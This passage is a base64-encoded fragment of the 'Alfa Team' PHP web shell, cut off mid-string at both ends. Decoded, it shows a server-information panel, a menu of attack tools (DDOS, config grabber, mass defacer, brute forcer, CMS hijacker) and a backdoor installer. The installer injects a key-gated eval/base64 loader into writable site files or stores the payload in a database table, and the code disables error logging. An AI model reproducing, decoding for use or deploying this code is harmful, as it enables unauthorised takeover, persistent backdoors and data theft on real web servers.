z0naGVhZGVyX3ZhbHVlcycgaWQ9J2hlYWRlcl9kb3dubG9hZGVyJz4tLS0tLS0tLS0tLS0tLTwvc3Bhbj4iOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJ0cnVlIjt9CmVjaG8gJzwvdGQ+CjwvdHI+JzsKfWVsc2V7CmVjaG8gJHVzZWZ1bF9kb3dubG9hZGVyOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJ0cnVlIjsKfQp9ZWxzZXsKZWNobyAkdXNlZnVsX2Rvd25sb2FkZXI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiOwp9Cn1lbHNlewplY2hvICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+V2luZG93czo8L3NwYW4+PGI+JzsKZWNobyBhbGZhRXgoJ3ZlcicsZmFsc2UsZmFsc2UpOwplY2hvICc8L3RkPgo8L3RyPiA8dHI+Cjx0ZCBoZWlnaHQ9IjAiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RG93bmxvYWRlcjogPC9zcGFuPjxiPi0tLS0tLS0tLS0tLS08L2I+PC90ZD4KPC90cj48L2I+JzsKfQokcXVvdGVzID0gKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKT9nZXRfbWFnaWNfcXVvdGVzX2dwYygpOicwJyk7aWYgKCRxdW90ZXMgPT0gIjEiIG9yICRxdW90ZXMgPT0gIm9uIil7JG1hZ2ljID0gJzxiPjxzcGFuIGNsYXNzPSJoZWFkZXJfb24iPk9OPC9zcGFuPic7fWVsc2V7JG1hZ2ljID0gJzxzcGFuIGNsYXNzPSJoZWFkZXJfb2ZmIj5PRkY8L3NwYW4+Jzt9CmVjaG8gJzx0cj4KPHRkIGhlaWdodD0iMTYiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RGlzYWJsZSBGdW5jdGlvbnM6IDwvc3Bhbj48Yj4nLkFsZmFfR2V0RGlzYWJsZV9GdW5jdGlvbigpLic8L2I+PC90ZD4KPC90cj4KPHRyPgo8dGQgaGVpZ2h0PSIxNiIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5DVVJMIDo8L3NwYW4+Jy4kY3VybC4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5TU0gyIDogPC9zcGFuPicuJHNzaDIuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+TWFnaWMgUXVvdGVzIDogPC9zcGFuPicuJG1hZ2ljLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBNeVNRTCA6PC9zcGFuPicuJG15c3FsLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPk1TU1FMIDo8L3NwYW4+Jy4kbXNzcWwuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IFBvc3RncmVTUUwgOjwvc3Bhbj4nLiRwZy4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gT3JhY2xlIDo8L3NwYW4+Jy4kb3IuJyAnLigkR0xPQkFMU1snc3lzJ109PSJ1bml4Ij8nfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBDR0kgOjwvc3Bhbj4gJy4kY2dpX3NoZWxsOiIiKS4nPC90ZD48dGQgd2lkdGg9IjE1JSI+PGRpdiBpZD0iYWxmYV9zb2xldmlzaWJsZSI+PGNlbnRlcj48YSBocmVmPSJodHRwczovL3QubWUvc29sZXZpc2libGUiIHRhcmdldD0iX2JsYW5rIj48c3Bhbj48Zm9udCBjbGFzcz0ic29sZXZpc2libGUtdGV4dCIgY29sb3I9IiMwRjAiPlNvbGUgU2FkICYgSW52aXNpYmxlPC9mb250Pjwvc3Bhbj48L2E+PC9jZW50ZXI+PC9kaXY+PC90ZD4KPC90cj4KPHRyPgo8dGQgaGVpZ2h0PSIxMSIgY29sc3Bhbj0iMyI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5PcGVuX2Jhc2VkaXIgOjwvc3Bhbj48Yj4nLiRvcGVuX2IuJzwvYj4gfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNhZmVfbW9kZV9leGVjX2RpciA6PC9zcGFuPjxiPicuJHNhZmVfZXhlLic8L2I+IHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gU2FmZV9tb2RlX2luY2x1ZGVfZGlyIDo8L3NwYW4+PC9iPicuJHNhZmVfaW5jbHVkZS4nPC9iPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGhlaWdodD0iMTEiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+U29mdFdhcmU6IDwvc3Bhbj48L3RkPgo8dGQgY29sc3Bhbj0iMiI+PGI+Jy5AZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC9iPjwvdGQ+CjwvdHI+JzsKaWYoJEdMT0JBTFNbJ3N5cyddPT0id2luIil7CmVjaG8gJzx0cj4KPHRkIGhlaWdodD0iMTIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RFJJVkU6PC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48Yj4nLiRkcml2ZXMuJzwvYj48L3RkPgo8L3RyPic7Cn0KZWNobyAnPHRyPgo8dGQgaGVpZ2h0PSIxMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5QV0Q6PC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48c3BhbiBpZD0iaGVhZGVyX2N3ZCI+Jy4kY3dkX2xpbmtzLicgPC9zcGFuPjxhIGhyZWY9IiNhY3Rpb249ZmlsZW1hbiZwYXRoPScuJEdMT0JBTFNbJ2hvbWVfY3dkJ10uJyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj48c3BhbiBjbGFzcz0iaG9tZV9zaGVsbCI+WyBIb21lIFNoZWxsIF08L3NwYW4+IDwvYT48L3RkPgo8L3RyPgo8L3RhYmxlPgo8L2Rpdj4KPGRpdiBpZD0ibWV1bmxpc3QiPgo8dWw+Cic7CiRsaSA9IGFycmF5KCdwcm9jJz0+J1Byb2Nlc3MnLCdwaHBldmFsJz0+J0V2YWwnLCdzcWwnPT4nU1FMIE1hbmFnZXInLCdkdW1wZXInPT4nRGF0YWJhc2UgRHVtcGVyJywnY29sZHVtcGVyJz0+J0NvbHVtbiBEdW1wZXInLCdoYXNoJz0+J0VuLURlY29kZXInLCdjb25uZWN0Jz0+J0JDJywKJ3pvbmVoJz0+J1pPTkUtSCcsJ2Rvcyc9PidERE9TJywnc2FmZSc9PidCeVBhc3NlcicsJ2NnaXNoZWxsJz0+J0NnaSBTaGVsbCcsJ3NzaVNoZWxsJz0+J1NTSSBTSEVMTCcsJ2NwY3JhY2snPT4nSGFzaCBUb29scycsCidwb3J0c2Nhbm5lcic9PidQb3J0IFNjYW5lcicsJ2Jhc2VkaXInPT4nT3BlbiBCYXNlRGlyJywnbWFpbCc9PidGYWtlIE1haWwnLCd6aXBlcic9PidDb21wcmVzc29yJywnZGV6aXBlcic9PidEZUNvbXByZXNzb3InLCdJbmRleENoYW5nZXInPT4nSW5kZXggQ2hhbmdlcicsJ3B3Y2hhbmdlcic9PidBZGQgTmV3IEFkbWluJywnU2hlbGxJbmplY3RvcnMnPT4nU2hlbGwgSW5qZWN0b3JzJywKJ3BocDJ4bWwnPT4nUEhQMlhNTCcsJ2Nsb3VkZmxhcmUnPT4nQ2xvdWRGbGFyZScsJ1dobWNzJz0+J1dobWNzIERlQ29kZXInLCdzeW1saW5rJz0+J1N5bWxpbmsnLCdNYXNzRGVmYWNlcic9PidNYXNzIERlZmFjZXInLCdDcmFja2Vycyc9PidCcnV0ZUZvcmNlcicsJ3NlYXJjaGVyJz0+J1NlYXJjaGVyJywnY29uZmlnX2dyYWJiZXInPT4nQ29uZmlnIEdyYWJiZXInLCdmYWtlcGFnZSc9PidGYWtlIFBhZ2UnLCdhcmNoaXZlX21hbmFnZXInPT4nQXJjaGl2ZSBNYW5hZ2VyJywKJ2Ntc2hpamFja2VyJz0+J0NNUyBIaWphY2tlcicsJ3JlbW90ZWRsJz0+J1JlbW90ZSBVcGxvYWQnLCdpbmJhY2tkb29yJz0+J0luc3RhbGwgQmFja0Rvb3InLCd3aG9pcyc9PidXaG9pcycsJ3NlbGZybSc9PidSZW1vdmUgU2hlbGwnCik7CmZvcmVhY2goJGxpIGFzICRrZXk9PiR2YWx1ZSl7CmVjaG8oJzxsaT48YSBpZD0ibWVudV9vcHRfJy4ka2V5LiciIGhyZWY9IiNhY3Rpb249b3B0aW9ucyZwYXRoPScuJEdMT0JBTFNbJ2N3ZCddLicmb3B0PScuJGtleS4nIiBjbGFzcz0ibWVudV9vcHRpb25zIiBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0PXRydWU7dGhpcy5ocmVmPVwnI2FjdGlvbj1vcHRpb25zJnBhdGg9XCcrY18rXCcmb3B0PScuJGtleS4nXCc7ZyhcJycuJGtleS4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7ZC5xdWVyeVNlbGVjdG9yKFwnLm9wdC10aXRsZVwnKS5pbm5lckhUTUw9dGhpcy5pbm5lckhUTUw7Ij4nLiR2YWx1ZS4nPC9hPjwvbGk+Jy4iXG4iKTsKfQplY2hvICc8L3VsPjxkaXYgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjtwYWRkaW5nOiA2cHg7Ij48YSBpZD0ibWVudV9vcHRfc2V0dGluZ3MiIGhyZWY9IiNhY3Rpb249b3B0aW9ucyZwYXRoPScuJEdMT0JBTFNbJ2N3ZCddLicmb3B0PXNldHRpbmdzIiBjbGFzcz0ibWVudV9vcHRpb25zIiBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0PXRydWU7dGhpcy5ocmVmPVwnI2FjdGlvbj1vcHRpb25zJnBhdGg9XCcrY18rXCcmb3B0PXNldHRpbmdzXCc7ZyhcJ3NldHRpbmdzXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7ZC5xdWVyeVNlbGVjdG9yKFwnLm9wdC10aXRsZVwnKS5pbm5lckhUTUw9dGhpcy5pbm5lckhUTUw7Ij5BbGZhIFNldHRpbmdzPC9hPjxhIHN0eWxlPSJkaXNwbGF5Om5vbmU7IiBpZD0ibWVudV9vcHRfbWFya2V0IiBocmVmPSIjYWN0aW9uPW9wdGlvbnMmcGF0aD0nLiRHTE9CQUxTWydjd2QnXS4nJm9wdD1tYXJrZXQiIGNsYXNzPSJtZW51X29wdGlvbnMiIG9uY2xpY2s9ImFsZmFfY2FuX2FkZF9vcHQ9dHJ1ZTt0aGlzLmhyZWY9XCcjYWN0aW9uPW9wdGlvbnMmcGF0aD1cJytjXytcJyZvcHQ9bWFya2V0XCc7ZyhcJ21hcmtldFwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpO2QucXVlcnlTZWxlY3RvcihcJy5vcHQtdGl0bGVcJykuaW5uZXJIVE1MPXRoaXMuaW5uZXJIVE1MOyI+PHNwYW4gY2xhc3M9ImFsZmFfcGx1cyI+QWxmYSBtYXJrZXQ8L3NwYW4+PC9hPjxhIGlkPSJtZW51X29wdF9hYm91dHVzIiBocmVmPSIjYWN0aW9uPW9wdGlvbnMmcGF0aD0nLiRHTE9CQUxTWydjd2QnXS4nJm9wdD1hYm91dHVzIiBjbGFzcz0ibWVudV9vcHRpb25zIiBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0PXRydWU7dGhpcy5ocmVmPVwnI2FjdGlvbj1vcHRpb25zJnBhdGg9XCcrY18rXCcmb3B0PWFib3V0dXNcJztnKFwnYWJvdXR1c1wnLG51bGwsXCdcJyxcJ1wnLFwnXCcpO2QucXVlcnlTZWxlY3RvcihcJy5vcHQtdGl0bGVcJykuaW5uZXJIVE1MPXRoaXMuaW5uZXJIVE1MOyI+QWJvdXQgVXM8L2E+Jy4oIWVtcHR5KCRfQ09PS0lFWydBbGZhVXNlciddKSAmJiAhZW1wdHkoJF9DT09LSUVbJ0FsZmFQYXNzJ10pID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImFsZmFMb2dPdXQoKTsiPjxmb250IGNvbG9yPSJyZWQiPkxvZ091dDwvZm9udD48L2E+JzonJykuJzwvZGl2PjwvZGl2PjxkaXYgaWQ9ImZpbGVzbWFuX3RhYnMiPjxkaXYgb25tb3VzZW92ZXI9ImFsZmFGaWxlc21hblRhYlNob3dUaXRsZSh0aGlzLGV2ZW50KTsiIG9ubW91c2VvdXQ9ImFsZmFGaWxlc21hblRhYkhpZGVUaXRsZSh0aGlzLGV2ZW50KTsiIGZtX2NvdW50ZXI9IjEiIHBhdGg9IicuJEdMT0JBTFNbJ2N3ZCddLiciIGZtX2lkPSIxIiBpZD0iZmlsZXNtYW5fdGFiXzEiIGNsYXNzPSJmaWxlc21hbl90YWIgZmlsZXNtYW4tdGFiLWFjdGl2ZSIgb25jbGljaz0iZmlsZXNtYW5UYWJDb250cm9sbGVyKHRoaXMpOyI+PGltZyBjbGFzcz0iZm9sZGVyLXRhYi1pY29uIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9mb2xkZXIyLnN2ZyI+IDxzcGFuPkZpbGUgbWFuYWdlcjwvc3Bhbj48L2Rpdj48ZGl2IHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazsiIGlkPSJmaWxlc21hbl90YWJzX2NoaWxkIj48L2Rpdj48ZGl2IGlkPSJmaWxlc21hbl9uZXdfdGFiIiBjbGFzcz0iZmlsZXNtYW5fdGFiIiBzdHlsZT0iYmFja2dyb3VuZDogbWFyb29uOyIgb25DbGljaz0iYWxmYUZpbGVzTWFuTmV3VGFiKGNfLFwnL1wnLDEpOyI+TmV3IFRhYiArPC9kaXY+PC9kaXY+Jzt9ZWxzZXsKQGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVfTk9USUNFKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIDApOwpAc2V0X3RpbWVfbGltaXQoMCk7Cn19CmZ1bmN0aW9uIGFsZmFsb2dvdXQoKXsKQHNldGNvb2tpZSgiQWxmYVVzZXIiLCBudWxsLCAyMDEyKTsKQHNldGNvb2tpZSgiQWxmYVBhc3MiLCBudWxsLCAyMDEyKTsKdW5zZXQoJF9DT09LSUVbJ0FsZmFVc2VyJ10sJF9DT09LSUVbJ0FsZmFQYXNzJ10pOwplY2hvKCJvayIpOwp9CmZ1bmN0aW9uIHNob3dBbmltYXRpb24oJG5hbWUpewoJcmV0dXJuICctd2Via2l0LWFuaW1hdGlvbjogJy4kbmFtZS4nIDgwMG1zIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjogJy4kbmFtZS4nIDgwMG1zIGVhc2UtaW4tb3V0IGZvcndhcmRzO2FuaW1hdGlvbjogJy4kbmFtZS4nIDgwMG1zIGVhc2UtaW4tb3V0IGZvcndhcmRzOyc7Cn0KZnVuY3Rpb24gX19zaG93aWNvbigkcil7Cgkkc1snYnRuJ109J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2J0bi5wbmcnOwoJJHNbJ2FsZmFtaW5pJ109J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2FsZmFtaW5pLnBuZyc7Cgkkc1snbG9hZGVyJ109J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2xvYWRlci5zdmcnOwoJLy9yZXR1cm4gJ2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCwnLl9fZ2V0X3Jlc291cmNlKCRzWyRyXSk7CglyZXR1cm4gJHNbJHJdOwp9CmZ1bmN0aW9uIGFsZmFpbmJhY2tkb29yKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSW5zdGFsbCBCYWNrRG9vciB8PC9kaXY+PC9wPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnaW5iYWNrZG9vclwnLG51bGwsXCdmaWxlXCcpIj58IEluIEZpbGUgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2luYmFja2Rvb3JcJyxudWxsLFwnZGJcJykiPnwgSW4gRGF0YUJhc2UgfCA8L2E+PC9oMz48L2NlbnRlcj4nOwokZXJyb3IgPSAnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IgSW4gSW5qZWN0IEJhY2tEb29yLi4uITxicj5GaWxlIExvYWRlciBpcyBub3QgV3JpdGFibGUgT3IgTm90IEV4aXN0cy4uLiE8L2ZvbnQ+JzsKJHN1Y2Nlc3M9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hJzsKJHRleHRhcmVhID0gIjxkaXYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdiYWNrZG9vcl90ZXh0YXJlYSc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+WW91ciBTaGVsbDo8L2Rpdj48cD48dGV4dGFyZWEgbmFtZT0nc2hlbGwnIHJvd3M9JzE5JyBjb2xzPScxMDMnPjw/cGhwXG5cdGVjaG8oJ0FsZmEgVGVhbSBpcyBIZXJlLi4uIScpO1xuPz48L3RleHRhcmVhPjwvcD48L2Rpdj4iOwokc2VsZWN0ID0gIjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVzZTo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdtZXRob2QnIHN0eWxlPSd3aWR0aDoxNTVweDsnIG9uQ2hhbmdlPSdpbkJhY2tkb29yKHRoaXMpOyc+PG9wdGlvbiB2YWx1ZT0nYWxmYSc+QWxmYSBUZWFtIFVwbG9hZGVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbXknPk15IFByaXZhdGUgU2hlbGw8L29wdGlvbj48L3NlbGVjdD4iOwokY3dkID0gJ0V4YW1wbGU6IC9ob21lL2FsZmEvcHVibGljX2h0bWwvaW5kZXgucGhwJzsKaWYoJF9QT1NUWydhbGZhMSddPT0nZmlsZScpewplY2hvKCI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEluIEZpbGUgfDwvZGl2PjwvcD48cD48Zm9ybSBvbnN1Ym1pdD1cImcoJ2luYmFja2Rvb3InLG51bGwsJ2ZpbGUnLHRoaXMubWV0aG9kLnZhbHVlLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnNoZWxsLnZhbHVlLHRoaXMua2V5LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+eyRzZWxlY3R9IDxkaXYgY2xhc3M9J3R4dGZvbnQnPkJhY2tkb29yIExvYWRlcjo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0neyRjd2R9Jz4gPGRpdiBjbGFzcz0ndHh0Zm9udCc+S2V5OiA8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2tleScgc2l6ZT0nMTAnIHZhbHVlPSdhbGZhJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPnskdGV4dGFyZWF9PC9mb3JtPjwvcD48L2NlbnRlcj4iKTsKaWYoJF9QT1NUWydhbGZhMiddIT0nJyYmJF9QT1NUWydhbGZhMyddIT0nJyYmJF9QT1NUWydhbGZhNCddIT0nJyl7CiRtZXRob2QgPSAkX1BPU1RbJ2FsZmEyJ107CiRmaWxlID0gJF9QT1NUWydhbGZhMyddOwokc2hlbGwgPSAkX1BPU1RbJ2FsZmE0J107CiRrZXkgPSBzdHJfcmVwbGFjZShhcnJheSgnIicsJ1wnJyksJycsdHJpbSgkX1BPU1RbJ2FsZmE1J10pKTsKaWYoJGtleT09JycpJGtleT0nYWxmYSc7CmlmKCRtZXRob2Q9PSdteScpeyRzaGVsbD1fX1pXNWpiMlJsY2coJHNoZWxsKTt9ZWxzZXskc2hlbGw9JEdMT0JBTFNbJ19fQUxGQV9TSEVMTF9DT0RFJ107fQokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiYWxmYSJdKSYmJF9HRVRbImFsZmEiXT09IicuJGtleS4nIil7JGZ1bmM9ImNyIi4iZWEiLiJ0ZV8iLiJmdW4iLiJjdGlvbiI7JHg9JGZ1bmMoIlwkYyIsImUiLiJ2Ii4iYWwiLiIoXCc/PlwnLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoIicuJHNoZWxsLiciKTtleGl0O30/Pic7CmlmKEBpc19maWxlKCRmaWxlKSYmQGlzX3dyaXRhYmxlKCRmaWxlKSl7QGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlLiJcbiIuQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7X19hbGVydCgkc3VjY2Vzcy4iPGJyPlJ1biBXaXRoOiAiLmJhc2VuYW1lKCRmaWxlKS4iP2FsZmE9Ii4ka2V5Lic8L2ZvbnQ+Jyk7fWVsc2V7X19hbGVydCgkZXJyb3IpO319fQppZigkX1BPU1RbJ2FsZmExJ109PSdkYicpewplY2hvKCI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEluIERhdGFCYXNlIHw8L2Rpdj48L3A+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPHA+PGZvcm0gb25zdWJtaXQ9XCJnKCdpbmJhY2tkb29yJyxudWxsLCdkYicsdGhpcy5kYl9ob3N0LnZhbHVlLHRoaXMuZGJfdXNlcm5hbWUudmFsdWUsdGhpcy5kYl9wYXNzd29yZC52YWx1ZSx0aGlzLmRiX25hbWUudmFsdWUsdGhpcy5maWxlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLHRoaXMuc2hlbGwudmFsdWUsdGhpcy5rZXkudmFsdWUpO3JldHVybiBmYWxzZTtcIj4iKTsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAondGQyJyA9PgphcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfdXNlcm5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKJ3RkMycgPT4KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3Bhc3N3b3JkJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAondGQ0JyA9PgphcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCid0ZDUnID0+CmFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdCYWNrZG9vciBMb2FkZXI6ICcsICdpbnB1dE5hbWUnID0+ICdmaWxlJywgJ2lucHV0VmFsdWUnID0+ICRjd2QsICdpbnB1dFNpemUnID0+ICc1MCcsICdwbGFjZWhvbGRlcicgPT4gdHJ1ZSksCid0ZDYnID0+CmFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdLZXk6ICcsICdpbnB1dE5hbWUnID0+ICdrZXknLCAnaW5wdXRWYWx1ZScgPT4gJ2FsZmEnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobygiPHA+eyRzZWxlY3R9PC9wPiIpOwplY2hvKCR0ZXh0YXJlYSk7CmVjaG8oIjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3A+PC9mb3JtPjwvcD48L2NlbnRlcj4iKTsKaWYoJF9QT1NUWydhbGZhMiddIT0nJyYmJF9QT1NUWydhbGZhMyddIT0nJyYmJF9QT1NUWydhbGZhNSddIT0nJyYmJF9QT1NUWydhbGZhNiddIT0nJyl7CiRkYmhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYnVzZXIgPSAkX1BPU1RbJ2FsZmEzJ107CiRkYnB3ID0gJF9QT1NUWydhbGZhNCddOwokZGJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokZmlsZSA9ICRfUE9TVFsnYWxmYTYnXTsKJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTcnXTsKJHNoZWxsID0gJF9QT1NUWydhbGZhOCddOwoka2V5ID0gc3RyX3JlcGxhY2UoYXJyYXkoJyInLCdcJycpLCcnLHRyaW0oJF9QT1NUWydhbGZhOSddKSk7CmlmKCRrZXk9PScnKSRrZXk9J2FsZmEnOwppZigkbWV0aG9kPT0nbXknKXskc2hlbGw9X19aVzVqYjJSbGNnKCRzaGVsbCk7fWVsc2V7JHNoZWxsPSRHTE9CQUxTWydfX0FMRkFfU0hFTExfQ09ERSddO30KaWYoJGNvbm4gPSBteXNxbGlfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicHcsJGRibmFtZSkpewokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiYWxmYSJdKSYmJF9HRVRbImFsZmEiXT09IicuJGtleS4nIil7JGNvbm49bXlzcWxpX2Nvbm5lY3QoIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRiaG9zdCkuJyIsIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRidXNlcikuJyIsIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRicHcpLiciLCInLnN0cl9yZXBsYWNlKCciJywnXCInLCRkYm5hbWUpLiciKTskcT1teXNxbGlfcXVlcnkoJGNvbm4sIlNFTEVDVCBgY29kZWAgRlJPTSBhbGZhX2JjIExJTUlUIDAsMSIpOyRyPW15c3FsaV9mZXRjaF9hc3NvYygkcSk7JGZ1bmM9ImNyIi4iZWEiLiJ0ZV8iLiJmdW4iLiJjdGlvbiI7JHg9JGZ1bmMoIlwkYyIsImUiLiJ2Ii4iYWwiLiIoXCc/PlwnLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoJHJbImNvZGUiXSk7ZXhpdDt9Pz4nOwppZihAaXNfZmlsZSgkZmlsZSkmJkBpc193cml0YWJsZSgkZmlsZSkpewpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdEUk9QIFRBQkxFIGBhbGZhX2JjYCcpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdDUkVBVEUgVEFCTEUgYGFsZmFfYmNgIChjb2RlIExPTkdURVhUKScpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdJTlNFUlQgSU5UTyBgYWxmYV9iY2AgVkFMVUVTKCInLiRzaGVsbC4nIiknKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlLiJcbiIuQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7Cl9fYWxlcnQoJHN1Y2Nlc3MuIjxicj5SdW4gV2l0aDogIi5iYXNlbmFtZSgkZmlsZSkuIj9hbGZhPSIuJGtleS4nPC9mb250PicpO31lbHNle19fYWxlcnQoJGVycm9yKTt9fX19CmVjaG8oJzwvZGl2PicpOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXdob2lzKCl7CmVjaG8oIjxkaXYgY2xhc3M9J2hlYWRlcic+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXaG9pcyB8PC9kaXY+PC9wPjxwPjxmb3JtIG9uc3VibWl0PVwiZygnd2hvaXMnLG51bGwsdGhpcy51cmwudmFsdWUsJz4+Jyk7cmV0dX